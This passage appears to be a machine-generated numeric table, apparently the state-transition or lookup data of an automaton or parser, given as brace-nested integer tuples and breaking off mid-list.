{0,{4395,4373,4373,4373}}, {0,{4396,4374,4374,4374}}, {0,{4397,4404,4375,4375}}, {0,{4398,4398,4398,4376}}, {0,{3699,3699,3699,4399}}, {0,{3700,3700,3700,4400}}, {0,{3701,3701,3701,4401}}, {0,{4402,3702,4402,3702}}, {0,{4403,3703,3703,3703}}, {440,{3704,3704,3704,3711}}, {0,{4405,4405,4405,4376}}, {0,{3726,3726,3726,4406}}, {0,{3727,3727,3727,4407}}, {0,{3728,3728,3728,4408}}, {0,{4409,3729,4409,3729}}, {0,{4410,3730,3730,3730}}, {441,{3711,3711,3711,3711}}, {0,{4392,4392,4392,4392}}, {0,{4411,4411,4411,4411}}, {0,{4414,3881,3882,3883}}, {0,{4415,4415,4473,4473}}, {0,{4416,3832,3832,0}}, {0,{4417,3839,0,0}}, {0,{4418,4453,4472,4472}}, {0,{4419,4443,4443,4444}}, {0,{4420,4442,4442,4442}}, {0,{4421,4434,4441,4441}}, {0,{4422,4422,4422,4428}}, {0,{3353,3353,3353,4423}}, {0,{3354,3354,3354,4424}}, {0,{3355,3355,3355,4425}}, {0,{4426,3356,3356,3356}}, {0,{4427,4427,4427,4427}}, {0,{3984,3358,3358,3444}}, {0,{3571,3571,3571,4429}}, {0,{3572,3572,3572,4430}}, {0,{3573,3573,3573,4431}}, {0,{4432,3574,3574,3574}}, {0,{4433,4433,4433,4433}}, {0,{4116,3576,3576,3576}}, {0,{4435,4435,4435,4428}}, {0,{3589,3589,3589,4436}}, {0,{3590,3590,3590,4437}}, {0,{3591,3591,3591,4438}}, {0,{4439,3592,3592,3592}}, {0,{4440,4440,4440,4440}}, {0,{4131,3444,3444,3444}}, {0,{4428,4428,4428,4428}}, {0,{4441,4441,4441,4441}}, {0,{4442,4442,4442,4442}}, {0,{4445,4445,4445,4445}}, {0,{4446,4446,4446,4446}}, {0,{4447,4447,4447,4447}}, {0,{0,0,0,4448}}, {0,{0,0,0,4449}}, {0,{0,0,0,4450}}, {0,{4451,0,0,0}}, {0,{4452,4452,4452,4452}}, {0,{4145,0,0,0}}, {0,{4454,4471,4471,4471}}, {0,{4455,4470,4470,4470}}, {0,{4456,4469,4469,4469}}, {0,{4457,4457,4457,4463}}, {0,{3674,3674,3674,4458}}, {0,{3675,3675,3675,4459}}, {0,{3676,3676,3676,4460}}, {0,{4461,3677,3677,3677}}, {0,{4462,4462,4462,4462}}, {0,{4162,3679,3679,0}}, {0,{0,0,0,4464}}, {0,{0,0,0,4465}}, {0,{0,0,0,4466}}, {0,{4467,0,0,0}}, {0,{4468,4468,4468,4468}}, {0,{4247,0,0,0}}, {0,{4463,4463,4463,4463}}, {0,{4469,4469,4469,4469}}, {0,{4470,4470,4470,4470}}, {0,{4444,4444,4444,4444}}, {0,{4474,3852,3852,0}}, {0,{4475,3857,0,0}}, {0,{4476,4479,4472,4472}}, {0,{4477,4443,4443,4444}}, {0,{4478,4442,4442,4442}}, {0,{4434,4434,4441,4441}}, {0,{4471,4471,4471,4471}}, {0,{4481,3888,3888,4483}}, {0,{4482,3889,3890,3889}}, {0,{3879,3879,3879,3879}}, {0,{4484,4763,4767,3889}}, {0,{4485,4413,4413,4413}}, {0,{4486,4650,4706,4752}}, {0,{4487,3971,4327,4327}}, {0,{4488,4612,4612,4640}}, {0,{4489,4565,4611,4611}}, {0,{4490,4541,4564,4564}}, {0,{4491,4527,4527,4528}}, {0,{4492,4526,4526,4526}}, {0,{4493,4514,4525,4525}}, {0,{4494,4494,4494,4504}}, {0,{3353,3353,3353,4495}}, {0,{3354,3354,3354,4496}}, {0,{3355,3355,3355,4497}}, {0,{4498,4500,4500,4502}}, {0,{4499,3983,3983,3983}}, {443,{3984,4044,3358,3444}}, {0,{4501,3357,3357,3357}}, {445,{3358,3358,3358,3444}}, {0,{4503,3357,3357,3357}}, {446,{3358,3358,3358,3444}}, {0,{3571,3571,3571,4505}}, {0,{3572,3572,3572,4506}}, {0,{3573,3573,3573,4507}}, {0,{4508,4510,4510,4512}}, {0,{4509,4115,4115,4115}}, {448,{4116,4121,3576,3576}}, {0,{4511,3575,3575,3575}}, {450,{3576,3576,3576,3576}}, {0,{4513,3575,3575,3575}}, {451,{3576,3576,3576,3576}}, {0,{4515,4515,4515,4504}}, {0,{3589,3589,3589,4516}}, {0,{3590,3590,3590,4517}}, {0,{3591,3591,3591,4518}}, {0,{4519,4521,4521,4523}}, {0,{4520,4130,4130,4130}}, {453,{4131,4132,3444,3444}}, {0,{4522,3593,3593,3593}}, {455,{3444,3444,3444,3444}}, {0,{4524,3593,3593,3593}}, {456,{3444,3444,3444,3444}}, {0,{4504,4504,4504,4504}}, {0,{4525,4525,4525,4525}}, {0,{4526,4526,4526,4526}}, {0,{4529,4529,4529,4529}}, {0,{4530,4530,4530,4530}}, {0,{4531,4531,4531,4531}}, {0,{0,0,0,4532}}, {0,{0,0,0,4533}}, {0,{0,0,0,4534}}, {0,{4535,4537,4537,4539}}, {0,{4536,4144,4144,4144}}, {458,{4145,4149,0,0}}, {0,{4538,0,0,0}}, {460,{0,0,0,0}}, {0,{4540,0,0,0}}, {461,{0,0,0,0}}, {0,{4542,4563,4563,4563}}, {0,{4543,4562,4562,4562}}, {0,{4544,4561,4561,4561}}, {0,{4545,4545,4545,4555}}, {0,{3674,3674,3674,4546}}, {0,{3675,3675,3675,4547}}, {0,{3676,3676,3676,4548}}, {0,{4549,4551,4551,4553}}, {0,{4550,4161,4161,4161}}, {463,{4162,4237,3679,0}}, {0,{4552,3678,3678,3678}}, {465,{3679,3679,3679,0}}, {0,{4554,3678,3678,3678}}, {466,{3679,3679,3679,0}}, {0,{0,0,0,4556}}, {0,{0,0,0,4557}}, {0,{0,0,0,4558}}, {0,{4559,4537,4537,4539}}, {0,{4560,4246,4246,4246}}, {468,{4247,4149,0,0}}, {0,{4555,4555,4555,4555}}, {0,{4561,4561,4561,4561}}, {0,{4562,4562,4562,4562}}, {0,{4528,4528,4528,4528}}, {0,{4566,4600,4610,4610}}, {0,{4567,4599,4599,4599}}, {0,{4568,4598,4598,4598}}, {0,{4569,4586,4597,4597}}, {0,{4570,4570,4570,4580}}, {0,{3699,3699,3699,4571}}, {0,{3700,3700,3700,4572}}, {0,{3701,3701,3701,4573}}, {0,{4574,4576,4576,4578}}, {0,{4575,4262,4262,4262}}, {470,{3704,4263,3704,3711}}, {0,{4577,3703,3703,3703}}, {472,{3704,3704,3704,3711}}, {0,{4579,3703,3703,3703}}, {473,{3704,3704,3704,3711}}, {0,{0,0,0,4581}}, {0,{0,0,0,4582}}, {0,{0,0,0,4583}}, {0,{4584,4537,4537,4539}}, {0,{4585,4275,4275,4275}}, {475,{0,4149,0,0}}, {0,{4587,4587,4587,4580}}, {0,{3726,3726,3726,4588}}, {0,{3727,3727,3727,4589}}, {0,{3728,3728,3728,4590}}, {0,{4591,4593,4593,4595}}, {0,{4592,4282,4282,4282}}, {477,{3711,4283,3711,3711}}, {0,{4594,3730,3730,3730}}, {479,{3711,3711,3711,3711}}, {0,{4596,3730,3730,3730}}, {480,{3711,3711,3711,3711}}, {0,{4580,4580,4580,4580}}, {0,{4597,4597,4597,4597}}, {0,{4598,4598,4598,4598}}, {0,{4601,4599,4599,4599}}, {0,{4602,4598,4598,4598}}, {0,{4603,4597,4597,4597}}, {0,{4604,4604,4604,4580}}, {0,{3674,3674,3674,4605}}, {0,{3675,3675,3675,4606}}, {0,{3676,3676,3676,4607}}, {0,{4608,4551,4551,4553}}, {0,{4609,4296,4296,4296}}, {482,{3679,4237,3679,0}}, {0,{4599,4599,4599,4599}}, {0,{4610,4610,4610,4610}}, {0,{4613,4565,4611,4611}}, {0,{4614,4600,4610,4610}}, {0,{4615,4639,4639,4599}}, {0,{4616,4638,4638,4638}}, {0,{4617,4630,4637,4637}}, {0,{4618,4618,4618,4624}}, {0,{3353,3353,3353,4619}}, {0,{3354,3354,3354,4620}}, {0,{3355,3355,3355,4621}}, {0,{4622,4500,4500,4502}}, {0,{4623,4310,4310,4310}}, {484,{3358,4044,3358,3444}}, {0,{3571,3571,3571,4625}}, {0,{3572,3572,3572,4626}}, {0,{3573,3573,3573,4627}}, {0,{4628,4510,4510,4512}}, {0,{4629,4316,4316,4316}}, {486,{3576,4121,3576,3576}}, {0,{4631,4631,4631,4624}}, {0,{3589,3589,3589,4632}}, {0,{3590,3590,3590,4633}}, {0,{3591,3591,3591,4634}}, {0,{4635,4521,4521,4523}}, {0,{4636,4323,4323,4323}}, {488,{3444,4132,3444,3444}}, {0,{4624,4624,4624,4624}}, {0,{4637,4637,4637,4637}}, {0,{4638,4638,4638,4638}}, {0,{4641,4641,4641,4641}}, {0,{4642,4642,4642,4642}}, {0,{4643,4643,4643,4643}}, {0,{4644,4644,4644,4644}}, {0,{4645,4645,4645,4645}}, {0,{4646,4646,4646,4646}}, {0,{0,0,0,4647}}, {0,{0,0,0,4648}}, {0,{0,0,0,4649}}, {0,{4537,4537,4537,4539}}, {0,{4651,3864,3865,3865}}, {0,{4652,4652,4652,4705}}, {0,{4653,4690,4704,4704}}, {0,{4654,4681,4689,4689}}, {0,{4655,4673,4673,4674}}, {0,{4656,4672,4672,4672}}, {0,{4657,4666,4671,4671}}, {0,{4658,4658,4658,4662}}, {0,{3353,3353,3353,4659}}, {0,{3354,3354,3354,4660}}, {0,{3355,3355,3355,4661}}, {0,{4502,4502,4502,4502}}, {0,{3571,3571,3571,4663}}, {0,{3572,3572,3572,4664}}, {0,{3573,3573,3573,4665}}, {0,{4512,4512,4512,4512}}, {0,{4667,4667,4667,4662}}, {0,{3589,3589,3589,4668}}, {0,{3590,3590,3590,4669}}, {0,{3591,3591,3591,4670}}, {0,{4523,4523,4523,4523}}, {0,{4662,4662,4662,4662}}, {0,{4671,4671,4671,4671}}, {0,{4672,4672,4672,4672}}, {0,{4675,4675,4675,4675}}, {0,{4676,4676,4676,4676}}, {0,{4677,4677,4677,4677}}, {0,{0,0,0,4678}}, {0,{0,0,0,4679}}, {0,{0,0,0,4680}}, {0,{4539,4539,4539,4539}}, {0,{4682,4674,4674,4674}}, {0,{4683,4675,4675,4675}}, {0,{4684,4676,4676,4676}}, {0,{4685,4685,4685,4677}}, {0,{3674,3674,3674,4686}}, {0,{3675,3675,3675,4687}}, {0,{3676,3676,3676,4688}}, {0,{4553,4553,4553,4553}}, {0,{4674,4674,4674,4674}}, {0,{4691,4681,4689,4689}}, {0,{4692,4674,4674,4674}}, {0,{4693,4675,4675,4675}}, {0,{4694,4699,4676,4676}}, {0,{4695,4695,4695,4677}}, {0,{3699,3699,3699,4696}}, {0,{3700,3700,3700,4697}}, {0,{3701,3701,3701,4698}}, {0,{4578,4578,4578,4578}}, {0,{4700,4700,4700,4677}}, {0,{3726,3726,3726,4701}}, {0,{3727,3727,3727,4702}}, {0,{3728,3728,3728,4703}}, {0,{4595,4595,4595,4595}}, {0,{4689,4689,4689,4689}}, {0,{4704,4704,4704,4704}}, {489,{4707,4344,3865,3865}}, {0,{4708,4708,4708,4640}}, {0,{4709,4738,4641,4641}}, {0,{4710,4730,4642,4642}}, {0,{4711,4729,4729,4643}}, {0,{4712,4728,4728,4728}}, {0,{4713,4722,4727,4727}}, {0,{4714,4714,4714,4718}}, {0,{3353,3353,3353,4715}}, {0,{3354,3354,3354,4716}}, {0,{3355,3355,3355,4717}}, {0,{4500,4500,4500,4502}}, {0,{3571,3571,3571,4719}}, {0,{3572,3572,3572,4720}}, {0,{3573,3573,3573,4721}}, {0,{4510,4510,4510,4512}}, {0,{4723,4723,4723,4718}}, {0,{3589,3589,3589,4724}}, {0,{3590,3590,3590,4725}}, {0,{3591,3591,3591,4726}}, {0,{4521,4521,4521,4523}}, {0,{4718,4718,4718,4718}}, {0,{4727,4727,4727,4727}}, {0,{4728,4728,4728,4728}}, {0,{4731,4643,4643,4643}}, {0,{4732,4644,4644,4644}}, {0,{4733,4645,4645,4645}}, {0,{4734,4734,4734,4646}}, {0,{3674,3674,3674,4735}}, {0,{3675,3675,3675,4736}}, {0,{3676,3676,3676,4737}}, {0,{4551,4551,4551,4553}}, {0,{4739,4730,4642,4642}}, {0,{4740,4643,4643,4643}}, {0,{4741,4644,4644,4644}}, {0,{4742,4747,4645,4645}}, {0,{4743,4743,4743,4646}}, {0,{3699,3699,3699,4744}}, {0,{3700,3700,3700,4745}}, {0,{3701,3701,3701,4746}}, {0,{4576,4576,4576,4578}}, {0,{4748,4748,4748,4646}}, {0,{3726,3726,3726,4749}}, {0,{3727,3727,3727,4750}}, {0,{3728,3728,3728,4751}}, {0,{4593,4593,4593,4595}}, {0,{4753,3865,3865,3865}}, {0,{4754,4754,4754,4705}}, {0,{4755,4759,4704,4704}}, {0,{4756,4689,4689,4689}}, {0,{4757,4673,4673,4674}}, {0,{4758,4672,4672,4672}}, {0,{4666,4666,4671,4671}}, {0,{4760,4689,4689,4689}}, {0,{4761,4674,4674,4674}}, {0,{4762,4675,4675,4675}}, {0,{4699,4699,4676,4676}}, {0,{4764,3886,3886,3886}}, {0,{4765,4650,4766,4752}}, {0,{4707,3864,3865,3865}}, {490,{4707,3864,3865,3865}}, {491,{4764,3886,3886,3886}}, {0,{4769,4777,4777,4778}}, {0,{4770,4774,4776,4774}}, {0,{4771,4771,4771,4771}}, {0,{4772,3883,4773,3883}}, {0,{3842,3842,3842,3842}}, {492,{3865,3865,3865,3865}}, {0,{4775,4775,4775,4775}}, {0,{3883,3883,4773,3883}}, {493,{4775,4775,4775,4775}}, {0,{4774,4774,4776,4774}}, {0,{4779,4774,4776,4774}}, {0,{4780,4782,4782,4782}}, {0,{4781,3883,4773,3883}}, {0,{4327,4327,4327,4327}}, {0,{4783,3883,4773,3883}}, {0,{4473,4473,4473,4473}}, {0,{4785,4802,4802,4803}}, {0,{4786,4799,4801,4799}}, {0,{4787,4787,4787,4787}}, {0,{4788,4796,4798,4796}}, {0,{4789,4789,4789,4789}}, {0,{4790,4793,4793,0}}, {0,{4791,3831,3831,3831}}, {0,{4792,3827,3827,3827}}, {0,{3823,3823,3823,3824}}, {0,{4794,0,0,0}}, {0,{4795,0,0,0}}, {0,{3836,3836,3836,0}}, {0,{4797,4797,4797,4797}}, {0,{4793,4793,4793,0}}, {494,{4797,4797,4797,4797}}, {0,{4800,4800,4800,4800}}, {0,{4796,4796,4798,4796}}, {495,{4800,4800,4800,4800}}, {0,{4799,4799,4801,4799}}, {0,{4804,4799,4801,4799}}, {0,{4805,4814,4814,4814}}, {0,{4806,4796,4798,4796}}, {0,{4807,4807,4807,4807}}, {0,{4808,4811,4811,0}}, {0,{4809,4298,4298,4298}}, {0,{4810,4333,4251,4251}}, {0,{4135,4135,4135,4136}}, {0,{4812,4298,4298,4298}}, {0,{4813,4297,4297,4297}}, {0,{4326,4326,4326,4286}}, {0,{4815,4796,4798,4796}}, {0,{4816,4816,4816,4816}}, {0,{4817,4793,4793,0}}, {0,{4818,0,0,0}}, {0,{4819,4479,4472,4472}}, {0,{4443,4443,4443,4444}}, {0,{4821,4848,4784,4784}}, {0,{4822,4802,4831,4840}}, {0,{4823,4799,4801,4799}}, {0,{4824,4787,4787,4787}}, {0,{4825,4796,4798,4796}}, {0,{4826,4789,4789,4789}}, {0,{4790,4793,4793,4827}}, {0,{4828,4828,4828,4828}}, {0,{4829,4829,4829,4829}}, {0,{4830,4830,4830,4830}}, {0,{3777,3777,3777,3777}}, {0,{4799,4832,4801,4799}}, {0,{4833,4800,4800,4800}}, {0,{4834,4834,4839,4834}}, {0,{4835,4797,4797,4797}}, {0,{4836,4836,4836,3954}}, {0,{4837,3953,3953,3953}}, {0,{4838,3946,3946,3946}}, {0,{3929,3929,3929,3930}}, {496,{4835,4797,4797,4797}}, {0,{4841,4799,4801,4799}}, {0,{4842,4814,4814,4814}}, {0,{4806,4796,4843,4796}}, {497,{4797,4844,4797,4797}}, {0,{4845,4845,4845,4412}}, {0,{4846,4411,4411,4411}}, {0,{4847,4392,4392,4392}}, {0,{4372,4372,4372,4373}}, {0,{4785,4802,4802,4849}}, {0,{4850,4871,4875,4799}}, {0,{4851,4814,4814,4814}}, {0,{4852,4861,4866,4861}}, {0,{4853,4807,4807,4807}}, {0,{4854,4858,4858,4640}}, {0,{4855,4611,4611,4611}}, {0,{4856,4857,4564,4564}}, {0,{4527,4527,4527,4528}}, {0,{4563,4563,4563,4563}}, {0,{4859,4611,4611,4611}}, {0,{4860,4610,4610,4610}}, {0,{4639,4639,4639,4599}}, {0,{4862,4797,4797,4797}}, {0,{4863,4863,4863,4705}}, {0,{4864,4704,4704,4704}}, {0,{4865,4689,4689,4689}}, {0,{4673,4673,4673,4674}}, {498,{4867,4844,4797,4797}}, {0,{4868,4868,4868,4640}}, {0,{4869,4641,4641,4641}}, {0,{4870,4642,4642,4642}}, {0,{4729,4729,4729,4643}}, {0,{4872,4800,4800,4800}}, {0,{4873,4861,4874,4861}}, {0,{4867,4797,4797,4797}}, {499,{4867,4797,4797,4797}}, {500,{4872,4800,4800,4800}}, {0,{4877,4820,4820,4820}}, {0,{4878,4848,4784,4784}}, {0,{4879,4802,4831,4840}}, {0,{4880,4896,4898,4896}}, {0,{4881,4893,4893,4787}}, {0,{4882,4890,4892,4890}}, {0,{4883,4789,4789,4789}}, {0,{4884,4887,4887,3773}}, {0,{4885,3737,3737,3737}}, {0,{4886,3692,3692,3692}}, {0,{3637,3637,3637,3638}}, {0,{4888,3772,3772,3772}}, {0,{4889,3763,3763,3763}}, {0,{3753,3753,3753,3754}}, {0,{4891,4797,4797,4797}}, {0,{4887,4887,4887,3863}}, {501,{4891,4797,4797,4797}}, {0,{4894,4890,4892,4890}}, {0,{4895,4789,4789,4789}}, {0,{4884,4887,4887,3863}}, {0,{4897,4897,4897,4800}}, {0,{4890,4890,4892,4890}}, {502,{4897,4897,4897,4800}}, {0,{4820,4820,4820,4820}}, {0,{4901,4901,4901,4901}}, {0,{4902,4938,4958,4958}}, {0,{4903,4916,4917,4923}}, {0,{4904,4913,4915,4913}}, {0,{4905,4911,4911,4911}}, {0,{4906,0,4910,0}}, {0,{4907,4909,4909,4909}}, {0,{4908,0,0,4827}}, {0,{3831,3831,3831,3831}}, {0,{4908,0,0,0}}, {503,{0,0,0,0}}, {0,{4912,0,4910,0}}, {0,{4909,4909,4909,4909}}, {0,{4914,4914,4914,4914}}, {0,{0,0,4910,0}}, {504,{4914,4914,4914,4914}}, {0,{4913,4913,4915,4913}}, {0,{4913,4918,4915,4913}}, {0,{4919,4914,4914,4914}}, {0,{4920,4920,4922,4920}}, {0,{4921,0,0,0}}, {0,{3954,3954,3954,3954}}, {505,{4921,0,0,0}}, {0,{4924,4913,4915,4913}}, {0,{4925,4933,4933,4933}}, {0,{4926,0,4931,0}}, {0,{4927,4927,4927,4927}}, {0,{4928,4930,4930,0}}, {0,{4929,4298,4298,4298}}, {0,{4251,4251,4251,4251}}, {0,{4298,4298,4298,4298}}, {506,{0,4932,0,0}}, {0,{4412,4412,4412,4412}}, {0,{4934,0,4910,0}}, {0,{4935,4935,4935,4935}}, {0,{4936,0,0,0}}, {0,{4937,0,0,0}}, {0,{4472,4472,4472,4472}}, {0,{4939,4916,4916,4941}}, {0,{4940,4913,4915,4913}}, {0,{4911,4911,4911,4911}}, {0,{4942,4953,4957,4913}}, {0,{4943,4933,4933,4933}}, {0,{4944,4949,4951,4949}}, {0,{4945,4927,4927,4927}}, {0,{4946,4948,4948,4640}}, {0,{4947,4611,4611,4611}}, {0,{4564,4564,4564,4564}}, {0,{4611,4611,4611,4611}}, {0,{4950,0,0,0}}, {0,{4705,4705,4705,4705}}, {507,{4952,4932,0,0}}, {0,{4640,4640,4640,4640}}, {0,{4954,4914,4914,4914}}, {0,{4955,4949,4956,4949}}, {0,{4952,0,0,0}}, {508,{4952,0,0,0}}, {509,{4954,4914,4914,4914}}, {0,{4939,4916,4916,4959}}, {0,{4960,4913,4915,4913}}, {0,{4961,4933,4933,4933}}, {0,{4926,0,4910,0}}, {510,{4963,5182,5301,5301}}, {0,{4964,5159,5176,5177}}, {0,{4965,5100,5152,5152}}, {0,{4966,4997,5000,5008}}, {0,{4967,4993,4996,4993}}, {0,{4968,4986,4986,4989}}, {0,{4969,4980,4983,4984}}, {0,{4970,4975,4909,4909}}, {0,{4971,4973,4973,3773}}, {0,{4972,4972,3737,3737}}, {0,{3669,3669,3692,3692}}, {0,{4974,4974,3772,3772}}, {0,{3758,3758,3763,3763}}, {0,{4976,4978,4978,0}}, {0,{4977,4977,3831,3831}}, {0,{3825,3825,3827,3827}}, {0,{4979,4979,0,0}}, {0,{3837,3837,0,0}}, {0,{4981,4982,0,0}}, {0,{4973,4973,4973,3863}}, {0,{4978,4978,4978,0}}, {511,{4981,4982,0,0}}, {0,{4985,0,0,0}}, {0,{3863,3863,3863,3863}}, {0,{4987,4980,4983,4984}}, {0,{4988,4975,4909,4909}}, {0,{4971,4973,4973,3863}}, {0,{4990,4991,4992,0}}, {0,{4975,4975,4909,4909}}, {0,{4982,4982,0,0}}, {512,{4982,4982,0,0}}, {0,{4994,4994,4994,4995}}, {0,{4980,4980,4983,4984}}, {0,{4991,4991,4992,0}}, {513,{4994,4994,4994,4995}}, {0,{4998,4998,4999,4998}}, {0,{4995,4995,4995,4995}}, {514,{4995,4995,4995,4995}}, {0,{4998,5001,4999,4998}}, {0,{5002,4995,4995,4995}}, {0,{5003,5003,5007,4920}}, {0,{5004,4982,0,0}}, {0,{5005,5005,5005,3954}}, {0,{5006,5006,3953,3953}}, {0,{3942,3942,3946,3946}}, {515,{5004,4982,0,0}}, {0,{5009,4998,4999,4998}}, {0,{5010,5085,5085,5085}}, {0,{5011,4991,5081,0}}, {0,{5012,5077,5078,5078}}, {0,{5013,5013,5057,5066}}, {0,{5014,5014,4298,4298}}, {0,{5015,5015,5056,5056}}, {0,{5016,5055,5055,5055}}, {0,{5017,5053,5053,5053}}, {0,{5018,5047,5047,5047}}, {0,{5019,5019,5019,5024}}, {0,{3674,3674,3674,5020}}, {0,{3675,3675,3675,5021}}, {0,{3676,3676,3676,5022}}, {0,{5023,3677,3677,3677}}, {516,{4296,4296,4296,4296}}, {0,{0,0,0,5025}}, {0,{0,0,0,5026}}, {0,{0,0,0,5027}}, {0,{5028,0,0,0}}, {517,{5029,4275,4275,4275}}, {0,{5030,4149,0,0}}, {0,{0,0,0,5031}}, {0,{5032,5032,5032,5032}}, {0,{5033,5033,0,0}}, {0,{5034,5034,5034,5034}}, {0,{5035,5035,5035,5035}}, {0,{5036,5036,5036,5036}}, {0,{5037,5037,5037,5037}}, {0,{5038,5038,5038,5038}}, {0,{0,0,0,5039}}, {0,{0,0,0,5040}}, {0,{0,0,0,5041}}, {0,{0,0,0,5042}}, {0,{0,0,0,5043}}, {0,{0,0,0,5044}}, {0,{0,0,0,5045}}, {0,{5046,0,0,0}}, {518,{0,0,0,0}}, {0,{5048,5048,5048,5048}}, {0,{0,0,0,5049}}, {0,{0,0,0,5050}}, {0,{0,0,0,5051}}, {0,{5052,0,0,0}}, {519,{4275,4275,4275,4275}}, {0,{5054,5047,5047,5047}}, {0,{5048,5048,5048,5024}}, {0,{5053,5053,5053,5053}}, {0,{5055,5055,5055,5055}}, {0,{5058,5058,4298,4298}}, {0,{5059,5059,5065,5065}}, {0,{5060,5064,5064,5064}}, {0,{5061,5063,5063,5063}}, {0,{5062,5047,5047,5047}}, {0,{5019,5019,5019,5048}}, {0,{5047,5047,5047,5047}}, {0,{5063,5063,5063,5063}}, {0,{5064,5064,5064,5064}}, {0,{5067,5067,0,0}}, {0,{5068,5068,5068,5068}}, {0,{5069,5069,5069,5069}}, {0,{5070,5070,5070,5070}}, {0,{5071,5071,5071,5071}}, {0,{5072,5072,5072,5072}}, {0,{0,0,0,5073}}, {0,{0,0,0,5074}}, {0,{0,0,0,5075}}, {0,{5076,0,0,0}}, {520,{0,0,0,0}}, {0,{5057,5057,5057,5066}}, {0,{5079,5079,5079,5066}}, {0,{5080,5080,4298,4298}}, {0,{5065,5065,5065,5065}}, {521,{4982,5082,0,0}}, {0,{5083,5083,5083,4412}}, {0,{5084,5084,4411,4411}}, {0,{4382,4382,4392,4392}}, {0,{5086,4991,4992,0}}, {0,{5087,5087,5099,5099}}, {0,{5088,5088,5088,5066}}, {0,{5089,5089,0,0}}, {0,{5090,5090,5068,5068}}, {0,{5091,5069,5069,5069}}, {0,{5092,5070,5070,5070}}, {0,{5093,5071,5071,5071}}, {0,{5094,5094,5094,5072}}, {0,{3674,3674,3674,5095}}, {0,{3675,3675,3675,5096}}, {0,{3676,3676,3676,5097}}, {0,{5098,3677,3677,3677}}, {522,{3678,3678,3678,3678}}, {0,{5066,5066,5066,5066}}, {0,{5101,4997,4997,5103}}, {0,{5102,4998,4999,4998}}, {0,{4989,4989,4989,4989}}, {0,{5104,5147,5151,4998}}, {0,{5105,5085,5085,5085}}, {0,{5106,5139,5143,4949}}, {0,{5107,5077,5078,5078}}, {0,{5108,5108,5108,5128}}, {0,{5109,5109,4611,4611}}, {0,{5110,5110,5127,5127}}, {0,{5111,5126,5126,5126}}, {0,{5112,5125,5125,5125}}, {0,{5113,5124,5124,5124}}, {0,{5114,5114,5114,5119}}, {0,{3674,3674,3674,5115}}, {0,{3675,3675,3675,5116}}, {0,{3676,3676,3676,5117}}, {0,{5118,4551,4551,4553}}, {523,{4609,4296,4296,4296}}, {0,{0,0,0,5120}}, {0,{0,0,0,5121}}, {0,{0,0,0,5122}}, {0,{5123,4537,4537,4539}}, {524,{4585,4275,4275,4275}}, {0,{5119,5119,5119,5119}}, {0,{5124,5124,5124,5124}}, {0,{5125,5125,5125,5125}}, {0,{5126,5126,5126,5126}}, {0,{5129,5129,4641,4641}}, {0,{5130,5130,5130,5130}}, {0,{5131,5131,5131,5131}}, {0,{5132,5132,5132,5132}}, {0,{5133,5133,5133,5133}}, {0,{5134,5134,5134,5134}}, {0,{0,0,0,5135}}, {0,{0,0,0,5136}}, {0,{0,0,0,5137}}, {0,{5138,4537,4537,4539}}, {525,{4538,0,0,0}}, {0,{5140,4982,0,0}}, {0,{5141,5141,5141,4705}}, {0,{5142,5142,4704,4704}}, {0,{4681,4681,4689,4689}}, {526,{5144,5082,0,0}}, {0,{5145,5145,5145,4640}}, {0,{5146,5146,4641,4641}}, {0,{4730,4730,4642,4642}}, {0,{5148,4995,4995,4995}}, {0,{5149,5139,5150,4949}}, {0,{5144,4982,0,0}}, {527,{5144,4982,0,0}}, {528,{5148,4995,4995,4995}}, {0,{4939,4916,4916,5153}}, {0,{5154,4913,4915,4913}}, {0,{5155,5157,5157,5157}}, {0,{5156,0,4910,0}}, {0,{5078,5078,5078,5078}}, {0,{5158,0,4910,0}}, {0,{5099,5099,5099,5099}}, {530,{5160,5168,5152,5152}}, {0,{4903,4916,4917,5161}}, {0,{5162,4913,4915,4913}}, {0,{5163,5157,5157,5157}}, {0,{5164,0,4931,0}}, {0,{5165,5078,5078,5078}}, {0,{5166,5166,5079,5066}}, {0,{5167,5167,4298,4298}}, {0,{5056,5056,5056,5056}}, {0,{4939,4916,4916,5169}}, {0,{5170,4953,4957,4913}}, {0,{5171,5157,5157,5157}}, {0,{5172,4949,4951,4949}}, {0,{5173,5078,5078,5078}}, {0,{5174,5174,5174,5128}}, {0,{5175,5175,4611,4611}}, {0,{5127,5127,5127,5127}}, {0,{5160,5168,5152,5152}}, {0,{5178,5168,5152,5152}}, {0,{4903,4916,4917,5179}}, {0,{5180,4913,4915,4913}}, {0,{5181,5157,5157,5157}}, {0,{5156,0,4931,0}}, {0,{5183,5159,5176,5177}}, {0,{5184,5168,5152,5152}}, {0,{5185,4916,4917,5198}}, {0,{5186,5195,5197,5195}}, {0,{5187,5192,5192,4911}}, {0,{5188,4984,5191,4984}}, {0,{5189,4909,4909,4909}}, {0,{5190,3863,3863,3773}}, {0,{3737,3737,3737,3737}}, {531,{4985,0,0,0}}, {0,{5193,4984,5191,4984}}, {0,{5194,4909,4909,4909}}, {0,{5190,3863,3863,3863}}, {0,{5196,5196,5196,4914}}, {0,{4984,4984,5191,4984}}, {532,{5196,5196,5196,4914}}, {0,{5199,4913,4915,4913}}, {0,{5200,5157,5157,5157}}, {0,{5201,0,4931,0}}, {0,{5202,5078,5078,5078}}, {0,{5203,5203,5277,5289}}, {0,{5204,5167,4298,4298}}, {0,{5205,5056,5056,5056}}, {0,{5206,5206,5206,5055}}, {0,{5207,5053,5053,5053}}, {0,{5208,5047,5047,5047}}, {0,{5048,5048,5048,5209}}, {0,{0,0,0,5210}}, {0,{0,0,0,5211}}, {0,{0,0,0,5212}}, {0,{5213,0,0,0}}, {533,{5214,4275,4275,4275}}, {0,{5215,5257,5274,5274}}, {0,{0,0,0,5216}}, {0,{5217,5217,5217,5217}}, {0,{5218,5218,5244,5244}}, {0,{5219,5034,5034,5034}}, {0,{5220,5220,5220,5035}}, {0,{5221,5221,5221,5221}}, {0,{5222,5222,5037,5037}}, {0,{5223,5038,5038,5038}}, {0,{0,0,0,5224}}, {0,{0,0,0,5225}}, {0,{0,0,0,5226}}, {0,{0,0,0,5227}}, {0,{0,0,0,5228}}, {0,{0,0,0,5229}}, {0,{0,0,0,5230}}, {0,{5231,5243,5243,5243}}, {534,{0,0,0,5232}}, {0,{5233,5233,5233,5233}}, {0,{0,0,0,5234}}, {0,{5235,5235,5235,5235}}, {0,{5236,5236,5236,5236}}, {0,{5237,5237,5237,5237}}, {0,{5238,5238,5238,0}}, {0,{5239,5239,5239,5239}}, {0,{5240,5240,5240,5240}}, {0,{5241,5241,5241,5241}}, {0,{5242,5242,0,0}}, {535,{0,0,0,0}}, {0,{0,0,0,5232}}, {0,{5245,0,0,0}}, {0,{5246,5246,5246,0}}, {0,{5247,5247,5247,5247}}, {0,{5248,5248,0,0}}, 